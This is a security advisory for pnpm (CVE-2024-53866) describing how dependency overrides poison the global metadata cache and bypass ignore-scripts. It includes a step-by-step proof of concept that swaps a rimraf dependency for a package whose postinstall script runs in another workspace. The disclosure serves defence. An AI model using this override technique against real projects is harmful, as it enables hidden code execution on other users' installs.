CVE-2024-53866 – pnpm

Package

Manager: npm
Name: pnpm
Vulnerable Version: >=0 <9.15.0

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

EPSS: 0.00072 pctl0.22667

Details

pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion ### Summary pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation) This can make workspace A (even running with `ignore-scripts=true`) posion global cache and execute scripts in workspace B Users generally expect `ignore-scripts` to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it). Here, that expectation is broken ### Details See PoC. In it, overrides from a single run of A get leaked into e.g. `~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json` and persistently affect all other projects using the cache ### PoC Postinstall code used in PoC is benign and can be inspected in <https://www.npmjs.com/package/ponyhooves?activeTab=code>, it's just a `console.log` 1. Remove store and cache On mac: `rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store` This step is not required in general, but we'll be using a popular package for PoC that's likely cached 2. Create `A/package.json`: ```json { "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } } ``` Install it with `pnpm i --ignore-scripts` (the flag is not required, but the point of the demo is to show that it doesn't help) 4. Create `B/package.json`: ```json { "name": "B", "dependencies": { "rimraf": "6.0.1" } } ``` Install it with `pnpm i` Result: ```console Packages: +3 +++ Progress: resolved 3, reused 3, downloaded 0, added 3, done node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms dependencies: + rimraf 6.0.1 Done in 1.4s ``` Also, that code got leaked into another project and it's lockfile now! ### Impact Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs As a work-around, use separate cache and store dirs in each workspace

Metadata

Created: 2024-12-10T22:42:41Z
Modified: 2024-12-10T22:42:41Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-vm32-9rqf-rh3r/GHSA-vm32-9rqf-rh3r.json
CWE IDs: ["CWE-346", "CWE-426"]
Alternative ID: GHSA-vm32-9rqf-rh3r
Finding: F086
Auto approve: 1